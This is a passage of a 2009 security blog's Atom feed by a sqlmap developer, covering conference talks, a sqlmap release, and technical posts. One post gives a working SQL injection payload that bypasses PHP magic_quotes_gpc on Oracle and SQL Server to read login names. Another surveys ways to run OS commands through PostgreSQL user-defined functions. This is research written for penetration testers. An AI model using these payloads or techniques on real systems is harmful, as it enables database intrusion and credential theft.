Betriebssystem&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; - Heise. April 17, 2009 (german)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a style="font-style: italic;" href="http://www.microsoft.com/germany/technet/sicherheit/newsletter/apr09/art2.mspx"&gt;Einfallstor SQL-Server&lt;/a&gt; - Microsoft. April 22, 2009 (german)&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-4991470129900193006?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/P4l8Q1Pm73c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/4991470129900193006/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=4991470129900193006" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/4991470129900193006?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/4991470129900193006?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/P4l8Q1Pm73c/black-hat-europe-2009.html" title="Black Hat Europe 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8BQ3c-eyp7ImA9WxVUGEQ.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-6382814871333439126</id><published>2009-03-18T19:31:00.005+01:00</published><updated>2009-03-24T12:24:12.953+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-24T12:24:12.953+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>OWASP London - March 2009 meeting</title><content type="html">&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;Last week I presented at the &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/index.php/London"&gt;OWASP London&lt;/a&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt; chapter meeting the material that I presented in &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009"&gt;Denver&lt;/a&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt; early this month.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;I had to rush in the end for lack of time and the fact that the room was booked until 8:30 PM, so for the ones that followed the presentation, but missed a deep explanation, do not worry, the slides are still &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.slideshare.net/inquis/sql-injection-not-only-and-11"&gt;online&lt;/a&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt; and the video registration from Denver conference will be available on the &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/"&gt;OWASP&lt;/a&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt; site shortly.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;Apart from the short time to present, I came to meet some more IT folks afterwards at pub. See you next time!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;UPDATE - &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;March 24, 2009: The video is &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://video.google.com/videoplay?docid=129190988572738701"&gt;online&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; on Google Video.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-6382814871333439126?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/1kcLQCJ0uBs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/6382814871333439126/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=6382814871333439126" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6382814871333439126?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6382814871333439126?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/1kcLQCJ0uBs/owasp-london-march-2009-meeting.html" title="OWASP London - March 2009 meeting" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/03/owasp-london-march-2009-meeting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQNQ38zeSp7ImA9WxJTEkk.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-8082795116537258771</id><published>2009-03-10T17:04:00.008+01:00</published><updated>2009-04-20T17:46:32.181+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-20T17:46:32.181+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="slides" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>SQL injection: Not only AND 1=1</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;On Sunday I came back from Denver (USA) where I gave a &lt;a href="http://bernardodamele.blogspot.com/2009/02/front-range-owasp-conference-2009.html"&gt;talk&lt;/a&gt; at &lt;a href="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009"&gt;Front Range OWASP Conference&lt;/a&gt;, met some very smart people, had good chats and fun times too.&lt;br /&gt;&lt;br /&gt;Thanks &lt;a href="http://www.owasp.org/index.php/Denver"&gt;OWASP Denver&lt;/a&gt; chapter for organizing such a great event and giving me the opportunity to come over!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;My presentation slides are &lt;a href="http://www.slideshare.net/inquis/sql-injection-not-only-and-11"&gt;online&lt;/a&gt; on Slideshare and you &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;can also read them below.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;If you're around London area on Thursday &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;night &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;(March 12, 2009) come over to the upcoming &lt;a href="http://www.owasp.org/index.php/London"&gt;OWASP London&lt;/a&gt; meeting: I've been invited by the chapter leader to present this material again.&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 425px; text-align: left;" id="__ss_1127038"&gt;&lt;object style="margin: 0px;" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=sqlinjectionnotonly-090310112950-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=sql-injection-not-only-and-11"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=sqlinjectionnotonly-090310112950-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=sql-injection-not-only-and-11" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-8082795116537258771?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/9IDNMvglo6g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/8082795116537258771/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=8082795116537258771" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8082795116537258771?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8082795116537258771?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/9IDNMvglo6g/presenting-at-owasp-london-chapter.html" title="SQL injection: Not only AND 1=1" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/03/presenting-at-owasp-london-chapter.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0EFQ3wzeip7ImA9WxJSF08.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-3786278732667105296</id><published>2009-02-23T13:00:00.011+01:00</published><updated>2009-05-07T22:53:32.282+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-07T22:53:32.282+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Front Range OWASP Conference 2009</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I am flying to Denver in Colorado (USA) in a couple of weeks to give a talk at the upcoming &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009"&gt;Front Range OWASP Conference 2009&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; on March 5, 2009 and meet other people in the IT security industry.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The title of the talk is &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/index.php/SnowFROC_Abstract_Damele" title="SnowFROC Abstract Damele"&gt;SQL injection: Not only AND 1=1&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and its abstract is:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-family: trebuchet ms;"&gt;&lt;p&gt;The presentation has a quick preamble on SQL injection definition, sqlmap and its key features. &lt;/p&gt;&lt;p&gt;&lt;span&gt;I will then illustrate into details common and uncommon problems and respective solutions with examples that a penetration tester faces when he wants to take advantage of any kind of web application SQL injection flaw on real world web applications, for instance SQL injection in &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;ORDER BY&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;LIMIT&lt;/span&gt;&lt;span&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;clauses, single entry UNION query SQL injection, blind SQL injection algorithm speed enhancements, specific web application technologies IDS bypasses and more.&lt;/span&gt; &lt;/p&gt;&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;If you are around, it's an occasion to catch up and share ideas on application security, see you there!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;UPDATE - &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;March 24, 2009: The video is &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://video.google.com/videoplay?docid=129190988572738701"&gt;online&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; on Google Video.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-3786278732667105296?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/xYq8pzeHz7I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/3786278732667105296/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=3786278732667105296" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3786278732667105296?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3786278732667105296?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/xYq8pzeHz7I/front-range-owasp-conference-2009.html" title="Front Range OWASP Conference 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/02/front-range-owasp-conference-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYFRH49eyp7ImA9WxVXEko.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7867738002521083678</id><published>2009-02-04T18:17:00.003+01:00</published><updated>2009-02-10T14:55:15.063+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-10T14:55:15.063+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>sqlmap 0.6.4 released</title><content type="html">&lt;pre  wrap="" style="font-family:trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;Today I released &lt;a href="http://sqlmap.sourceforge.net/"&gt;sqlmap&lt;/a&gt; version 0.6.4.&lt;br /&gt;&lt;br /&gt;Some of the new features and major bugs fixed:&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the &lt;a href="http://docs.python.org/library/difflib.html"&gt;&lt;span style="font-family: courier new;"&gt;difflib&lt;/span&gt;&lt;/a&gt; Sequence Matcher object.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Major speed increase in DBMS basic fingerprint.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre style="font-family: trebuchet ms;font-family:trebuchet ms;"  wrap=""&gt;&lt;span style="font-size:100%;"&gt;Complete list of changes at &lt;a class="moz-txt-link-freetext" href="http://sqlmap.sourceforge.net/doc/ChangeLog"&gt;http://sqlmap.sourceforge.net/doc/ChangeLog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Want to contribute? Have a look &lt;a href="http://sqlmap.sourceforge.net/#contribute"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7867738002521083678?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/bYKnpp4ma4c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7867738002521083678/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7867738002521083678" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7867738002521083678?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7867738002521083678?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/bYKnpp4ma4c/sqlmap-064-released.html" title="sqlmap 0.6.4 released" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/02/sqlmap-064-released.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEICQn0-fCp7ImA9WxVRF0k.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-8570203397388689339</id><published>2009-01-23T21:33:00.001+01:00</published><updated>2009-01-23T22:36:03.354+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-23T22:36:03.354+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlserver" /><title>More on PHP magic_quotes_gpc misuse and bypass</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;Some weeks ago I posted about a possible way to &lt;a href="http://bernardodamele.blogspot.com/2009/01/php-magicquotesgpc-and-oracle.html"&gt;bypass PHP &lt;span style="font-family:courier new;"&gt;magic_quotes_gpc&lt;/span&gt; setting&lt;/a&gt; when the back-end database management system is Oracle.&lt;br /&gt;&lt;br /&gt;The concept behind the bypass is that in Oracle's SQL dialect the character to escape a single-quote is a single-quote and the same is in &lt;span style="font-weight: bold;"&gt;Microsoft SQL Server&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;A query like the following is syntatically wrong:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;SELECT name FROM users WHERE name LIKE &lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;'%foo'bar%'&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;But a query like this is syntatically correct:&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;SELECT name FROM users WHERE name LIKE &lt;span style="color: rgb(0, 0, 153);"&gt;'%foo''bar%'&lt;/span&gt;&lt;/blockquote&gt;For instance let's assume that such a query is used by a web application and the malicious user has access to manipulate the &lt;span style="font-family:courier new;"&gt;LIKE&lt;/span&gt; clause field and the back-end DBMS is either Oracle or Microsoft SQL Server, then &lt;span style="font-family:courier new;"&gt;magic_quotes_gpc&lt;/span&gt; can be bypassed by injecting a &lt;span style="font-style: italic;"&gt;UNION query SQL injection&lt;/span&gt; statement (or a &lt;span style="font-style: italic;"&gt;blind SQL injection&lt;/span&gt; statement) similar to the following:&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;blockquote style="font-family: courier new;"&gt;foobar' UNION ALL SELECT name FROM master..syslogins--&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;Which will be processed by PHP and passed to the back-end DBMS as:&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;SELECT name FROM users WHERE name LIKE &lt;span style="color: rgb(0, 0, 153);"&gt;'%foobar\' UNION ALL SELECT name FROM master..syslogins--&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;%'&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;The statement is syntatically correct and it is processed as expected because the backslash character added by PHP is &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; the back-end DBMS specific escaping character.&lt;br /&gt;&lt;br /&gt;It's probably not as common as it is for Oracle to find a PHP web application with Microsoft SQL Server as back-end database management system but still it's worth knowing that this web application security setting bypass works on both database management systems.&lt;br /&gt;Refer to the &lt;a href="http://bernardodamele.blogspot.com/2009/01/php-magicquotesgpc-and-oracle.html"&gt;previous Oracle post&lt;/a&gt; for further details and personal considerations.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-8570203397388689339?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/VpvSAI_LQFo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/8570203397388689339/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=8570203397388689339" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8570203397388689339?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8570203397388689339?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/VpvSAI_LQFo/more-on-php-magicquotesgpc-misuse-and.html" title="More on PHP magic_quotes_gpc misuse and bypass" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/01/more-on-php-magicquotesgpc-misuse-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQCRHc6eyp7ImA9WxVXEko.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-5018865548696830169</id><published>2009-01-22T23:08:00.002+01:00</published><updated>2009-02-10T14:59:25.913+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-10T14:59:25.913+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="udf" /><category scheme="http://www.blogger.com/atom/ns#" term="postgresql" /><title>Command execution with a PostgreSQL UDF</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;As I stated on a &lt;a href="http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html"&gt;previous post&lt;/a&gt;, modern &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;database management systems allow to interact with the underlying operating system giving to the database administrator or to a malicious user, potentially a remote attacker through a SQL injection vulnerability, the possibility to:&lt;br /&gt;&lt;/span&gt;&lt;ul style="font-family: trebuchet ms;" face="trebuchet ms"&gt;&lt;li&gt;Execute operating system command&lt;/li&gt;&lt;li&gt;Read and write files on the file system&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="display: block;font-family:trebuchet ms;" id="formatbar_Buttons" &gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;On PostgreSQL it is possible to &lt;a href="http://www.postgresql.org/docs/8.3/static/sql-createfunction.html"&gt;create&lt;/a&gt; a &lt;a href="http://www.postgresql.org/docs/8.3/static/xfunc.html"&gt;User-Defined Function&lt;/a&gt; to execute commands on the underlying operating system. This can be done in three ways:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;Taking advantage of &lt;a href="http://www.gnu.org/software/libc/"&gt;libc&lt;/a&gt; built-in &lt;span style="font-family:courier new;"&gt;system()&lt;/span&gt; function:&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;a href="http://www.leidecker.info/"&gt;&lt;br /&gt;Nico Leidecker&lt;/a&gt; implemented this technique in his &lt;a href="http://www.leidecker.info/projects/pgshell.shtml"&gt;pgshell&lt;/a&gt; tool and it is described in the &lt;a href="http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL#Dynamic_Library"&gt;OWASP Backend Security Project&lt;/a&gt; guide.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="font-family: trebuchet ms;"&gt;&lt;li&gt;By creating a proper &lt;a href="http://www.postgresql.org/docs/8.3/static/xplang.html"&gt;Procedural Language Function&lt;/a&gt; in &lt;a href="http://www.postgresql.org/docs/8.3/static/pltcl.html"&gt;&lt;span class="APPLICATION"&gt;PL/Tcl&lt;/span&gt;&lt;/a&gt;,    &lt;a href="http://www.postgresql.org/docs/8.3/static/plperl.html"&gt;&lt;span class="APPLICATION"&gt;PL/Perl&lt;/span&gt;&lt;/a&gt; or &lt;a href="http://www.postgresql.org/docs/8.3/static/plpython.html"&gt;   &lt;span class="APPLICATION"&gt;PL/Python&lt;/span&gt;&lt;/a&gt;:&lt;br /&gt;&lt;a href="http://daniele.bellucci.googlepages.com/"&gt;Daniele Bellucci&lt;/a&gt; described the steps to go through to do that by using &lt;a href="http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL#plperl"&gt;PL/Perl&lt;/a&gt; and &lt;a href="http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL#plpython"&gt;PL/Python&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;By creating a &lt;a href="http://www.postgresql.org/docs/8.3/static/xfunc-c.html"&gt;C-Language Funcion&lt;/a&gt;:&lt;br /&gt;&lt;a href="http://www.davidlitchfield.com/"&gt;David Litchfield&lt;/a&gt; described this technique in his book &lt;a href="http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html"&gt;The Database Hacker's Handbook&lt;/a&gt;, chapter 25 titled &lt;span style="font-style: italic;"&gt;PostgreSQL: Discovery and Attack&lt;/span&gt; (source code freely available from Wiley &lt;a href="http://media.wiley.com/product_ancillary/14/07645780/DOWNLOAD/578014_Code.zip"&gt;book page&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;All of these methods have at least one limitation that make them useless on recent PostgreSQL server installations:&lt;/span&gt;&lt;br /&gt;&lt;ul face="trebuchet ms"&gt;&lt;li&gt;The first method only works until PostgreSQL version &lt;span style="font-weight: bold;"&gt;8.1&lt;/span&gt; and returns the command exit status, not the command standard output. Since PostgreSQL version &lt;span style="font-weight: bold;"&gt;8.2-devel&lt;/span&gt; all UDF must include a magic block after having     included the header &lt;span class="FILENAME"  style="font-family:courier new;"&gt;fmgr.h&lt;/span&gt; as explained &lt;a href="http://www.postgresql.org/docs/8.3/static/xfunc-c.html"&gt;here&lt;/a&gt;.&lt;br /&gt;Recompiling libc to include a PostgreSQL specific magic block is not a good idea.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul face="trebuchet ms"&gt;&lt;li&gt;The second method only works if PostgreSQL server has been compiled with support for one of those &lt;a href="http://www.postgresql.org/docs/8.3/static/xplang.html"&gt;Procedural Language Function&lt;/a&gt;. By default they are not available, at least on most of Linux distributions.&lt;/li&gt;&lt;/ul&gt;&lt;ul face="trebuchet ms"&gt;&lt;li&gt;The third method works until PostgreSQL version &lt;span style="font-weight: bold;"&gt;8.1&lt;/span&gt; for the same reason of the first method and it has the same behavior (no command standard output). Anyway, it can be patched to include the magic block and make it work properly also on PostgreSQL versions above 8.1.&lt;br 